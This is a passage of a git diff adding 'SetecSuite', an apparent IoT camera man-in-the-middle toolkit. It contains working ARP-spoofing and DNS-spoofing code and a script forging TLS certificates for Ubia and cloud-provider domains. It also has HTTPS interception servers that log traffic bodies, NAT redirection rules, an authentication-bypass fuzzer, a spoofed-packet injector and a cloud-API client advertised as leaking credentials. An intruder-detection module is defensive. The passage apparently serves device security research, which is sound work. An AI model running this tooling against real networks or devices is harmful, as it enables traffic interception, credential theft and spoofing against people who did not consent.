--icmp-type redirect -j DROP", + f"iptables -t nat -D PREROUTING -s {cam} -p udp --dport 53 -j DNAT --to-destination {us}:53", + f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 80 -j DNAT --to-destination {us}:80", + f"iptables -t nat -D PREROUTING -s {cam} -p tcp --dport 443 -j DNAT --to-destination {us}:443", + ]: + os.system(cmd + " >/dev/null 2>&1") + + # ─── Fuzzer ─────────────────────────────────────────── + def run_fuzz_endpoints(self): + self.fuzzer = fuzzer.Fuzzer(self.cfg) + self.fuzzer.fuzz_endpoints() + self.fuzzer.save_results() + + def run_fuzz_params(self, endpoint): + self.fuzzer = fuzzer.Fuzzer(self.cfg) + self.fuzzer.fuzz_params(endpoint) + self.fuzzer.save_results() + + def run_fuzz_auth(self): + self.fuzzer = fuzzer.Fuzzer(self.cfg) + self.fuzzer.fuzz_auth() + self.fuzzer.save_results() + + # ─── Packet Injection ───────────────────────────────── + def inject_packet(self, params): + return packet.inject(self.cfg, params) + + # ─── Command Processing ─────────────────────────────── + def process_command(self, cmd): + parts = cmd.strip().split() + if not parts: + return + c = parts[0].lower() + + if c == "help": + for line in HELP.split("\n"): + log(line, C_INFO) + + elif c == "start": + threading.Thread(target=self.start_services, daemon=True).start() + elif c == "stop": + threading.Thread(target=self.stop_services, daemon=True).start() + elif c == "status": + flags = ", ".join(f"{k}:{'ON' if v else 'off'}" for k, v in self.flags.items()) + log(f"MITM: {'RUNNING' if self.services_running else 'STOPPED'} {flags}", C_INFO) + log(f"REST API: :{self.cfg['rest_port']} Token: {'yes' if self.cfg['api_token'] else 'no'}", C_INFO) + + elif c == "config": + for k, v in self.cfg.safe_dict().items(): + log(f" {k}: {v}", C_INFO) + elif c == "set" and len(parts) >= 3: + key = parts[1] + val = " ".join(parts[2:]) + if key in self.cfg.keys(): + # Type coerce + old = self.cfg[key] + if isinstance(old, int): + val = int(val) + elif isinstance(old, float): + val = float(val) + self.cfg[key] = val + self.cfg.save() + log(f"Set {key} = {val if 'password' not in key else '***'}", C_SUCCESS) + else: + log(f"Unknown key. Valid: {', '.join(self.cfg.keys())}", C_ERROR) + elif c == "save": + self.cfg.save() + log("Config saved", C_SUCCESS) + + elif c == "login": + threading.Thread(target=ubox_client.login, args=(self.cfg,), daemon=True).start() + elif c == "devices": + def _get(): + self._devices = ubox_client.devices(self.cfg) + threading.Thread(target=_get, daemon=True).start() + elif c == "firmware": + threading.Thread(target=ubox_client.check_firmware, args=(self.cfg,), daemon=True).start() + elif c == "services": + threading.Thread(target=ubox_client.device_services, args=(self.cfg,), daemon=True).start() + elif c == "families": + threading.Thread(target=ubox_client.families, args=(self.cfg,), daemon=True).start() + elif c == "api" and len(parts) >= 2: + ep = " ".join(parts[1:]) + threading.Thread(target=ubox_client.raw_request, args=(self.cfg, ep), daemon=True).start() + + elif c == "fuzz": + if len(parts) < 2: + log("Usage: fuzz endpoints|params |auth|stop|results", C_ERROR) + elif parts[1] == "endpoints": + threading.Thread(target=self.run_fuzz_endpoints, daemon=True).start() + elif parts[1] == "params" and len(parts) >= 3: + threading.Thread(target=self.run_fuzz_params, args=(parts[2],), daemon=True).start() + elif parts[1] == "auth": + threading.Thread(target=self.run_fuzz_auth, daemon=True).start() + elif parts[1] == "stop": + if self.fuzzer: + self.fuzzer.stop() + log("Fuzzer stopped", C_INFO) + elif parts[1] == "results": + if self.fuzzer: + self.fuzzer.save_results() + else: + log("No fuzzer results", C_ERROR) + else: + log("Usage: fuzz endpoints|params |auth|stop|results", C_ERROR) + + elif c == "inject": + if len(parts) < 3: + log("Usage: inject udp ", C_ERROR) + log(" inject arp_reply ", C_ERROR) + log(" inject dns_query ", C_ERROR) + elif parts[1] == "udp" and len(parts) >= 5: + packet.inject(self.cfg, { + "type": "udp", "dst_ip": parts[2], + "dst_port": int(parts[3]), + "payload": " ".join(parts[4:]), + "payload_hex": True, + }) + elif parts[1] == "arp_reply" and len(parts) >= 4: + packet.inject(self.cfg, { + "type": "arp_reply", + "src_ip": parts[2], "dst_ip": parts[3], + }) + elif parts[1] == "dns_query" and len(parts) >= 3: + packet.inject(self.cfg, {"type": "dns_query", "domain": parts[2]}) + else: + log("inject: invalid args", C_ERROR) + + elif c == "clear": + with lock: + log_lines.clear() + + elif c in ("quit", "q", "exit"): + if self.services_running: + self.stop_services() + self.running = False + + else: + log(f"Unknown: {cmd}. Type 'help'.", C_ERROR) + + +HELP = """ +── MITM Services ────────────────────────────────────────── + start Start all MITM services + stop Stop all services, restore ARP + status Show running services + +── Configuration ────────────────────────────────────────── + config Show all settings + set Set config (camera_ip, our_ip, router_ip, iface, + camera_mac, api_email, api_password, rest_port, + fuzzer_threads, fuzzer_delay) + save Save config to disk + +── UBox Cloud API ───────────────────────────────────────── + login Authenticate to UBox cloud + devices List devices (leaks creds!) + firmware Check firmware version + services Query device services + families List account families + api Raw POST to any API endpoint + +── Fuzzer ───────────────────────────────────────────────── + fuzz endpoints Discover hidden API endpoints + fuzz params Fuzz parameters on endpoint + fuzz auth Test authentication bypass + fuzz stop Stop running fuzzer + fuzz results Save fuzzer results to file + +── Packet Injection ─────────────────────────────────────── + inject udp Send UDP packet + inject arp_reply Send spoofed ARP reply + inject dns_query Send DNS query + +── General ──────────────────────────────────────────────── + clear Clear log + help Show this help + quit Exit + +── REST API (for external tools) ────────────────────────── + Runs on port 9090 (configurable via 'set rest_port') + GET /status, /logs, /devices, /config, /fuzz/results + POST /start, /stop, /config, /command, /api, + /fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject +""".strip() + + +def curses_main(stdscr, ctrl): + curses.curs_set(1) + curses.start_color() + curses.use_default_colors() + curses.init_pair(1, curses.COLOR_RED, -1) + curses.init_pair(2, curses.COLOR_GREEN, -1) + curses.init_pair(3, curses.COLOR_CYAN, -1) + curses.init_pair(4, curses.COLOR_YELLOW, -1) + curses.init_pair(5, curses.COLOR_MAGENTA, -1) + curses.init_pair(6, curses.COLOR_BLACK, curses.COLOR_WHITE) + curses.init_pair(7, curses.COLOR_BLACK, curses.COLOR_GREEN) + + stdscr.nodelay(True) + stdscr.keypad(True) + input_buf = "" + scroll_offset = 0 + cmd_history = deque(maxlen=50) + hist_idx = -1 + + log("SetecSuite — Camera MITM Tool", C_INFO) + log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO) + log(f"REST API on :{ctrl.cfg['rest_port']} | Type 'help' for commands", C_INFO) + log("", C_NONE) + + # Start REST API server + threading.Thread(target=rest_server.start_server, + args=(ctrl, ctrl.cfg["rest_port"]), daemon=True).start() + + while ctrl.running: + try: + h, w = stdscr.getmaxyx() + if h < 5 or w < 40: + time.sleep(0.1) + continue + + stdscr.erase() + + # ─── Title bar ──────────────────────────────── + title = " SetecSuite MITM " + parts = [] + if ctrl.services_running: + parts.append("MITM:ON") + else: + parts.append("MITM:OFF") + for k, v in ctrl.flags.items(): + parts.append(f"{k}:{'✓' if v else '✗'}") + if ctrl.cfg["api_token"]: + parts.append("API:✓") + if ctrl.cfg["device_uid"]: + parts.append(f"UID:{ctrl.cfg['device_uid'][:8]}") + + bar = f"{title}| {' | '.join(parts)} " + pair = 7 if ctrl.services_running else 6 + try: + stdscr.addstr(0, 0, bar.ljust(w)[:w], curses.color_pair(pair) | curses.A_BOLD) + except curses.error: + pass + + # ─── Log area ───────────────────────────────── + log_h = h - 3 + with lock: + visible = list(log_lines) + total = len(visible) + if scroll_offset > max(0, total - log_h): + scroll_offset = max(0, total - log_h) + + start_idx = max(0, total - log_h - scroll_offset) + end_idx = start_idx + log_h + + for i, idx in enumerate(range(start_idx, min(end_idx, total))): + line, color = visible[idx] + y = i + 1 + if y >= h - 2: + break + try: + display = line[:w - 1] + attr = curses.color_pair(color) if color else 0 + stdscr.addstr(y, 0, display, attr) + except curses.error: + pass + + # ─── Separator ──────────────────────────────── + try: + stdscr.addstr(h - 2, 0, "─" * (w - 1), curses.color_pair(3)) + except curses.error: + pass + + # ─── Input ──────────────────────────────────── + prompt = "❯ " + try: + stdscr.addstr(h - 1, 0, prompt, curses.color_pair(2) | curses.A_BOLD) + stdscr.addstr(h - 1, len(prompt), input_buf[:w - len(prompt) - 1]) + stdscr.move(h - 1, min(len(prompt) + len(input_buf), w - 1)) + except curses.error: + pass + + stdscr.refresh() + + # ─── Key handling ───────────────────────────── + try: + ch = stdscr.getch() + except: + ch = -1 + + if ch == -1: + time.sleep(0.04) + continue + elif ch in (10, 13): # Enter + if input_buf.strip(): + cmd_history.appendleft(input_buf) + hist_idx = -1 + ctrl.process_command(input_buf) + input_buf = "" + scroll_offset = 0 + elif ch == 27: # Escape + input_buf = "" + hist_idx = -1 + elif ch in (curses.KEY_BACKSPACE, 127, 8): + input_buf = input_buf[:-1] + elif ch == curses.KEY_UP: + if cmd_history: + hist_idx = min(hist_idx + 1, len(cmd_history) - 1) + input_buf = cmd_history[hist_idx] + elif ch == curses.KEY_DOWN: + if hist_idx > 0: + hist_idx -= 1 + input_buf = cmd_history[hist_idx] + elif hist_idx == 0: + hist_idx = -1 + input_buf = "" + elif ch == curses.KEY_PPAGE: + scroll_offset = min(scroll_offset + log_h, max(0, total - log_h)) + elif ch == curses.KEY_NPAGE: + scroll_offset = max(0, scroll_offset - log_h) + elif ch == curses.KEY_HOME: + scroll_offset = max(0, total - log_h) + elif ch == curses.KEY_END: + scroll_offset = 0 + elif 32 <= ch < 127: + input_buf += chr(ch) + + except KeyboardInterrupt: + if ctrl.services_running: + ctrl.stop_services() + ctrl.running = False + except Exception as e: + log(f"UI: {e}", C_ERROR) + time.sleep(0.1) + + +def main(): + if os.geteuid() != 0: + print("Run with: sudo python3 mitm.py") + sys.exit(1) + + ctrl = Controller() + os.makedirs(ctrl.cfg["log_dir"], exist_ok=True) + init_logfile(f"{ctrl.cfg['log_dir']}/mitm.log") + + signal.signal(signal.SIGINT, lambda s, f: None) # Let curses handle it + + try: + curses.wrapper(lambda stdscr: curses_main(stdscr, ctrl)) + finally: + if ctrl.services_running: + ctrl.stop_services() + close_logfile() + print(f"\nLogs: {ctrl.cfg['log_dir']}/") + print(f"Config: {Config.CONFIG_FILE if hasattr(Config, 'CONFIG_FILE') else 'config.json'}") + + +if __name__ == "__main__": + main() diff --git a/regen_cert.sh b/regen_cert.sh new file mode 100755 index 0000000..83d5382 --- /dev/null +++ b/regen_cert.sh @@ -0,0 +1,65 @@ +#!/usr/bin/env bash +set -euo pipefail + +if [[ $EUID -ne 0 ]]; then + echo "must run as root (use sudo)" >&2 + exit 1 +fi + +ROOT_DIR=/root/dumps/mitm_logs +SNAKE_DIR=/home/snake/dumps/mitm_logs +mkdir -p "$ROOT_DIR" "$SNAKE_DIR" + +CERT="$ROOT_DIR/mitm_cert.pem" +KEY="$ROOT_DIR/mitm_key.pem" + +CFG=$(mktemp) +trap 'rm -f "$CFG"' EXIT + +cat > "$CFG" <<'EOF' +[req] +distinguished_name = dn +req_extensions = v3_req +x509_extensions = v3_req +prompt = no + +[dn] +CN = portal.ubianet.com +O = Ubia +C = US + +[v3_req] +basicConstraints = CA:FALSE +keyUsage = digitalSignature, keyEncipherment +extendedKeyUsage = serverAuth +subjectAltName = @alt + +[alt] +DNS.1 = portal.ubianet.com +DNS.2 = api.us.ubianet.com +DNS.3 = api.cn.ubianet.com +DNS.4 = *.ubianet.com +DNS.5 = *.aliyuncs.com +DNS.6 = *.oss-cn-shenzhen.aliyuncs.com +DNS.7 = *.myqcloud.com +IP.1 = 192.168.1.172 +EOF + +openssl req -x509 -newkey rsa:2048 -nodes -days 3650 \ + -keyout "$KEY" -out "$CERT" -config "$CFG" -extensions v3_req + +chmod 644 "$CERT" +chmod 600 "$KEY" + +cp "$CERT" "$SNAKE_DIR/mitm_cert.pem" +cp "$KEY" "$SNAKE_DIR/mitm_key.pem" +chown snake:snake "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem" +chmod 644 "$SNAKE_DIR/mitm_cert.pem" +chmod 600 "$SNAKE_DIR/mitm_key.pem" + +echo +echo "=== wrote ===" +ls -l "$CERT" "$KEY" "$SNAKE_DIR/mitm_cert.pem" "$SNAKE_DIR/mitm_key.pem" +echo +echo "=== subject + SANs ===" +openssl x509 -in "$CERT" -noout -text | grep -E "Subject:|DNS:|IP Address:" diff --git a/services/__init__.py b/services/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/services/arp_spoof.py b/services/arp_spoof.py new file mode 100644 index 0000000..cc8e17b --- /dev/null +++ b/services/arp_spoof.py @@ -0,0 +1,89 @@ +"""ARP spoofing service — positions us as MITM between camera and router""" + +import socket +import struct +import os +import time +from utils.log import log, C_SUCCESS, C_ERROR, C_INFO + + +def get_mac(ip): + try: + out = os.popen(f"ip neigh show {ip}").read() + for line in out.strip().split("\n"): + parts = line.split() + if "lladdr" in parts: + return parts[parts.index("lladdr") + 1] + except: + pass + return None + + +def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip): + src_mac = bytes.fromhex(src_mac_str.replace(":", "")) + dst_mac = bytes.fromhex(dst_mac_str.replace(":", "")) + eth = dst_mac + src_mac + b"\x08\x06" + arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) + arp += src_mac + socket.inet_aton(src_ip) + arp += dst_mac + socket.inet_aton(dst_ip) + return eth + arp + + +def run(cfg, flags, running_check): + iface = cfg["iface"] + camera_ip = cfg["camera_ip"] + router_ip = cfg["router_ip"] + + try: + with open(f"/sys/class/net/{iface}/address") as f: + our_mac = f.read().strip() + except: + log("ARP: cannot read our MAC", C_ERROR) + return + + os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1") + os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1") + time.sleep(1) + + router_mac = get_mac(router_ip) + camera_mac = get_mac(camera_ip) or cfg["camera_mac"] + + if not router_mac: + log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR) + return + + log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS) + + try: + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) + sock.bind((iface, 0)) + except PermissionError: + log("ARP: need root for raw sockets", C_ERROR) + return + + flags["arp"] = True + pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip) + pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip) + + while running_check(): + try: + sock.send(pkt_to_cam) + sock.send(pkt_to_rtr) + except: + pass + time.sleep(2) + + # Restore + log("ARP: restoring...", C_INFO) + r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip) + r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip) + for _ in range(5): + try: + sock.send(r1) + sock.send(r2) + except: + pass + time.sleep(0.3) + sock.close() + flags["arp"] = False + log("ARP: restored", C_INFO) diff --git a/services/dns_spoof.py b/services/dns_spoof.py new file mode 100644 index 0000000..7d4b911 --- /dev/null +++ b/services/dns_spoof.py @@ -0,0 +1,85 @@ +"""DNS interception — spoofs cloud domains to point at us""" + +import socket +import struct +from utils.log import log, C_SUCCESS, C_IMPORTANT, C_ERROR + +SPOOF_DOMAINS = [b"ubianet.com", b"aliyuncs.com", b"amazonaws.com", b"myqcloud.com"] + + +def parse_dns_name(data, offset): + labels = [] + while offset < len(data): + length = data[offset] + if length == 0: + offset += 1 + break + if (length & 0xC0) == 0xC0: + ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF + labels.append(parse_dns_name(data, ptr)[0]) + offset += 2 + break + offset += 1 + labels.append(data[offset:offset + length]) + offset += length + return b".".join(labels), offset + + +def build_dns_response(query, ip): + resp = bytearray(query[:2]) + resp += b"\x81\x80" + resp += query[4:6] + resp += b"\x00\x01\x00\x00\x00\x00" + resp += query[12:] + resp += b"\xc0\x0c\x00\x01\x00\x01" + resp += struct.pack("!I", 60) + resp += b"\x00\x04" + resp += socket.inet_aton(ip) + return bytes(resp) + + +def run(cfg, flags, running_check): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.settimeout(1) + try: + sock.bind(("0.0.0.0", 53)) + except OSError as e: + log(f"DNS: bind :53 failed: {e}", C_ERROR) + return + + flags["dns"] = True + log("DNS: listening on :53", C_SUCCESS) + + while running_check(): + try: + data, addr = sock.recvfrom(1024) + except socket.timeout: + continue + except: + break + if len(data) < 12: + continue + + name, _ = parse_dns_name(data, 12) + name_str = name.decode("utf-8", errors="replace") + should_spoof = (addr[0] == cfg["camera_ip"] and + any(d in name.lower() for d in SPOOF_DOMAINS)) + + if should_spoof: + resp = build_dns_response(data, cfg["our_ip"]) + sock.sendto(resp, addr) + log(f"DNS: {name_str} -> SPOOFED", C_IMPORTANT) + else: + fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + fwd.settimeout(3) + try: + fwd.sendto(data, (cfg["router_ip"], 53)) + resp, _ = fwd.recvfrom(4096) + sock.sendto(resp, addr) + except: + pass + fwd.close() + + sock.close() + flags["dns"] = False diff --git a/services/http_server.py b/services/http_server.py new file mode 100644 index 0000000..682e91e --- /dev/null +++ b/services/http_server.py @@ -0,0 +1,179 @@ +"""HTTP and HTTPS MITM servers — intercept camera cloud traffic""" + +import socket +import ssl +import os +import json +import threading +from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT +from utils import proto as proto_id + + +def _handle_http(conn, addr, cfg): + try: + conn.settimeout(5) + data = conn.recv(8192) + if data: + text = data.decode("utf-8", errors="replace") + lines = text.split("\r\n") + log(f"HTTP {addr[0]}: {lines[0]}", C_TRAFFIC) + for l in lines[1:6]: + if l: + log(f" {l}", 0) + save_raw(cfg["log_dir"], f"http_{addr[0]}", data) + conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK") + except: + pass + finally: + conn.close() + + +def _handle_https(conn, addr, cfg): + try: + conn.settimeout(5) + data = b"" + while True: + chunk = conn.recv(4096) + if not chunk: + break + data += chunk + if b"\r\n\r\n" in data: + # Check Content-Length for body + cl = 0 + for line in data.split(b"\r\n"): + if line.lower().startswith(b"content-length:"): + cl = int(line.split(b":")[1].strip()) + break + hdr_end = data.index(b"\r\n\r\n") + 4 + if len(data) >= hdr_end + cl: + break + + if data: + try: + hdr_end = data.index(b"\r\n\r\n") + headers = data[:hdr_end].decode("utf-8", errors="replace") + body = data[hdr_end + 4:] + lines = headers.split("\r\n") + log(f"HTTPS {addr[0]}: {lines[0]}", C_TRAFFIC) + for l in lines[1:8]: + if l: + log(f" {l}", 0) + if body: + try: + parsed = json.loads(body) + log(f" BODY: {json.dumps(parsed)}", C_IMPORTANT) + except: + log(f" BODY ({len(body)}B):", 0) + log(hexdump(body), 0) + except: + log(f"HTTPS raw {addr[0]}: {len(data)}B", C_TRAFFIC) + log(hexdump(data), 0) + + save_raw(cfg["log_dir"], f"https_{addr[0]}", data) + conn.sendall(b'HTTP/1.1 200 OK\r\nContent-Type: application/json\r\n' + b'Content-Length: 27\r\n\r\n{"code":0,"msg":"success"}') + except: + pass + finally: + conn.close() + + +def _generate_cert(log_dir): + cert = f"{log_dir}/mitm_cert.pem" + key = f"{log_dir}/mitm_key.pem" + if not os.path.exists(cert): + os.makedirs(log_dir, exist_ok=True) + os.system(f'openssl req -x509 -newkey rsa:2048 -keyout {key} ' + f'-out {cert} -days 365 -nodes ' + f'-subj "/CN=portal.ubianet.com" 2>/dev/null') + return cert, key + + +def run_http(cfg, flags, running_check): + srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.settimeout(1) + try: + srv.bind(("0.0.0.0", 80)) + except OSError as e: + log(f"HTTP: bind :80 failed: {e}", C_ERROR) + return + srv.listen(5) + flags["http"] = True + log("HTTP: listening on :80", C_SUCCESS) + + while running_check(): + try: + conn, addr = srv.accept() + threading.Thread(target=_handle_http, args=(conn, addr, cfg), daemon=True).start() + except socket.timeout: + continue + except: + break + srv.close() + flags["http"] = False + + +def run_https(cfg, flags, running_check): + cert, key = _generate_cert(cfg["log_dir"]) + ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + ctx.load_cert_chain(cert, key) + + srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.settimeout(1) + try: + srv.bind(("0.0.0.0", 443)) + except OSError as e: + log(f"HTTPS: bind :443 failed: {e}", C_ERROR) + return + srv.listen(5) + flags["https"] = True + log("HTTPS: listening on :443", C_SUCCESS) + + while running_check(): + try: + conn, addr = srv.accept() + # Peek at first bytes to detect TLS vs raw protocol + try: + conn.settimeout(3) + peek = conn.recv(8, socket.MSG_PEEK) + except Exception as e: + log(f"443 peek fail {addr[0]}: {e}", C_ERROR) + conn.close() + continue + conn.settimeout(None) + + # TLS ClientHello starts with 0x16 0x03 0x0[0-4] + is_tls = len(peek) >= 3 and peek[0] == 0x16 and peek[1] == 0x03 + + if is_tls: + try: + ssl_conn = ctx.wrap_socket(conn, server_side=True) + threading.Thread(target=_handle_https, args=(ssl_conn, addr, cfg), + daemon=True).start() + except ssl.SSLError as e: + log(f"SSL fail {addr[0]}: {e} (first8={peek.hex()})", C_ERROR) + save_raw(cfg["log_dir"], f"raw_tls_fail_{addr[0]}", peek) + conn.close() + else: + # Non-TLS protocol on :443 — capture raw + pname = proto_id.detect(peek) + proto_id.record(pname) + log(f"NON-TLS on :443 from {addr[0]} proto={pname} first8={peek.hex()}", C_IMPORTANT) + try: + conn.settimeout(2) + full = conn.recv(4096) + if full: + log(f" Raw ({len(full)}B):", 0) + log(hexdump(full[:256]), 0) + save_raw(cfg["log_dir"], f"raw_443_{addr[0]}", full) + except Exception as e: + log(f" recv fail: {e}", C_ERROR) + conn.close() + except socket.timeout: + continue + except: + break + srv.close() + flags["https"] = False diff --git a/services/intruder_watch.py b/services/intruder_watch.py new file mode 100644 index 0000000..67f0cfa --- /dev/null +++ b/services/intruder_watch.py @@ -0,0 +1,187 @@ +""" +Intruder watch — detects unauthorized parties interacting with the camera. + +Watches the raw socket for: + 1. Any LAN host that isn't us, the router, or the camera, exchanging traffic + with the camera. + 2. ARP replies for the camera's IP coming from a MAC that isn't the camera — + i.e. someone else is ARP-spoofing. + 3. Outbound packets from the camera to destinations not on the known cloud + whitelist (suggests new C2 / unknown firmware behavior). + 4. New TCP/UDP destination ports the camera initiates that we haven't seen. + +Findings are pushed to utils.log AND to a shared `intruders` deque the GUI +reads from for the Intruders tab. +""" + +import socket +import struct +import threading +import time +from collections import deque +from datetime import datetime + +from utils.log import log, C_ERROR, C_SUCCESS, C_IMPORTANT, C_TRAFFIC + +# Shared state the GUI inspects +intruders = deque(maxlen=500) +_intruder_lock = threading.Lock() + +# Known cloud destinations the camera is *expected* to talk to (from findings.md). +# Anything outside this set is suspicious. +KNOWN_CLOUD_NETS = [ + # Tencent Cloud (P2P relay, COS) + ("43.0.0.0", 8), + ("119.28.0.0", 14), + ("129.226.0.0", 15), + ("150.109.0.0", 16), + # Alibaba Cloud (OSS, OTA) + ("8.208.0.0", 12), + ("47.74.0.0", 15), + ("47.88.0.0", 13), + ("118.178.0.0", 15), + # AWS (NTP buckets) + ("3.64.0.0", 12), + ("54.93.0.0", 16), + # Akamai (connectivity check, microsoft etc.) + ("23.0.0.0", 8), + ("104.64.0.0", 10), + # Microsoft / Apple / Amazon connectivity checks + ("17.0.0.0", 8), # Apple + ("13.64.0.0", 11), # Microsoft + ("52.0.0.0", 8), # Amazon + # qq.com (Tencent connectivity probe) + ("182.254.0.0", 16), +] + + +def _ip_to_int(ip): + return struct.unpack("!I", socket.inet_aton(ip))[0] + + +def _in_net(ip, base, prefix): + ip_i = _ip_to_int(ip) + base_i = _ip_to_int(base) + mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF + return (ip_i & mask) == (base_i & mask) + + +def _is_known_cloud(ip): + for base, prefix in KNOWN_CLOUD_NETS: + if _in_net(ip, base, prefix): + return True + return False + + +def _is_lan(ip): + return ip.startswith("192.168.") or ip.startswith("10.") or ip.startswith("172.") + + +def _record(kind, src, dst, detail): + ts = datetime.now().strftime("%H:%M:%S") + entry = {"ts": ts, "kind": kind, "src": src, "dst": dst, "detail": detail} + with _intruder_lock: + intruders.append(entry) + log(f"INTRUDER [{kind}] {src} -> {dst} {detail}", C_IMPORTANT) + + +def get_intruders(): + with _intruder_lock: + return list(intruders) + + +def clear_intruders(): + with _intruder_lock: + intruders.clear() + + +def run(cfg, flags, running_check): + try: + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) + sock.bind((cfg["iface"], 0)) + sock.settimeout(1) + except Exception as e: + log(f"IntruderWatch: cannot open raw socket: {e}", C_ERROR) + return + + flags["intruder"] = True + log("IntruderWatch: armed", C_SUCCESS) + + cam_ip = cfg["camera_ip"] + cam_mac = cfg["camera_mac"].lower() + our_ip = cfg["our_ip"] + router_ip = cfg["router_ip"] + + seen_lan_peers = set() # other LAN hosts that contacted the camera + seen_outbound = set() # (dst_ip, proto, port) tuples + seen_arp_macs = set() # MACs claiming to be the camera + + while running_check(): + try: + pkt, _ = sock.recvfrom(65535) + except socket.timeout: + continue + except Exception: + break + + if len(pkt) < 14: + continue + + eth_proto = struct.unpack("!H", pkt[12:14])[0] + eth_src = ":".join(f"{b:02x}" for b in pkt[6:12]) + eth_dst = ":".join(f"{b:02x}" for b in pkt[0:6]) + + # ── ARP (0x0806) ──────────────────────────────────────────── + if eth_proto == 0x0806 and len(pkt) >= 42: + arp = pkt[14:42] + opcode = struct.unpack("!H", arp[6:8])[0] + sender_mac = ":".join(f"{b:02x}" for b in arp[8:14]) + sender_ip = socket.inet_ntoa(arp[14:18]) + if opcode == 2 and sender_ip == cam_ip and sender_mac != cam_mac: + key = sender_mac + if key not in seen_arp_macs: + seen_arp_macs.add(key) + _record("ARP_SPOOF", sender_mac, cam_ip, + f"someone else claims to be camera (real={cam_mac})") + continue + + # ── IPv4 (0x0800) ─────────────────────────────────────────── + if eth_proto != 0x0800 or len(pkt) < 34: + continue + + ip_hdr = pkt[14:34] + ihl = (ip_hdr[0] & 0x0F) * 4 + proto = ip_hdr[9] + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + # Camera is involved? + if cam_ip not in (src_ip, dst_ip): + continue + + peer_ip = dst_ip if src_ip == cam_ip else src_ip + + t_start = 14 + ihl + sp = dp = 0 + if proto in (6, 17) and len(pkt) >= t_start + 4: + sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4]) + + # ── Rule 1: LAN peer that isn't us/router/camera ──────────── + if _is_lan(peer_ip) and peer_ip not in (our_ip, router_ip, cam_ip): + if peer_ip not in seen_lan_peers: + seen_lan_peers.add(peer_ip) + _record("LAN_PEER", peer_ip, cam_ip, + f"unknown LAN host talking to camera (proto={proto} port={dp or sp})") + + # ── Rule 2: outbound to non-whitelisted internet ──────────── + if src_ip == cam_ip and not _is_lan(peer_ip): + if not _is_known_cloud(peer_ip): + key = (peer_ip, proto, dp) + if key not in seen_outbound: + seen_outbound.add(key) + _record("UNKNOWN_DST", cam_ip, peer_ip, + f"camera contacting unlisted host (proto={proto} dport={dp})") + + sock.close() + flags["intruder"] = False + log("IntruderWatch: stopped", C_SUCCESS) diff --git a/services/sniffer.py b/services/sniffer.py new file mode 100644 index 0000000..91df6f6 --- /dev/null +++ b/services/sniffer.py @@ -0,0 +1,106 @@ +"""Raw packet sniffer — catches all camera traffic headed to us on any port""" + +import socket +import struct +import subprocess +from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT +from utils import proto as proto_id + + +_orig_dst_cache = {} + + +def _lookup_orig_dst(src_ip, src_port, proto): + key = (src_ip, src_port, proto) + if key in _orig_dst_cache: + return _orig_dst_cache[key] + result = None + try: + out = subprocess.run( + ["conntrack", "-L", "-s", src_ip, "-p", proto, "--sport", str(src_port)], + capture_output=True, text=True, timeout=2, + ).stdout + for line in out.splitlines(): + parts = line.split() + d_ip = None + d_port = None + for p in parts: + if p.startswith("dst=") and d_ip is None: + d_ip = p[4:] + elif p.startswith("dport=") and d_port is None: + d_port = p[6:] + if d_ip and d_port: + break + if d_ip and d_port: + result = f"{d_ip}:{d_port}" + break + except Exception: + result = None + _orig_dst_cache[key] = result + return result + + +def run(cfg, flags, running_check): + try: + sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) + sock.bind((cfg["iface"], 0)) + sock.settimeout(1) + except: + log("Sniffer: cannot open raw socket", C_ERROR) + return + + flags["sniffer"] = True + log("Sniffer: watching all camera packets", C_SUCCESS) + seen = set() + + while running_check(): + try: + pkt, _ = sock.recvfrom(65535) + except socket.timeout: + continue + except: + break + if len(pkt) < 34: + continue + + eth_proto = struct.unpack("!H", pkt[12:14])[0] + if eth_proto != 0x0800: + continue + + ip_hdr = pkt[14:34] + ihl = (ip_hdr[0] & 0x0F) * 4 + proto = ip_hdr[9] + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + if src_ip != cfg["camera_ip"] or dst_ip != cfg["our_ip"]: + continue + + t_start = 14 + ihl + + if proto == 17 and len(pkt) >= t_start + 8: + sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4]) + if dp == 53: + continue + payload = pkt[t_start + 8:] + key = f"udp:{dp}" + if key not in seen: + seen.add(key) + 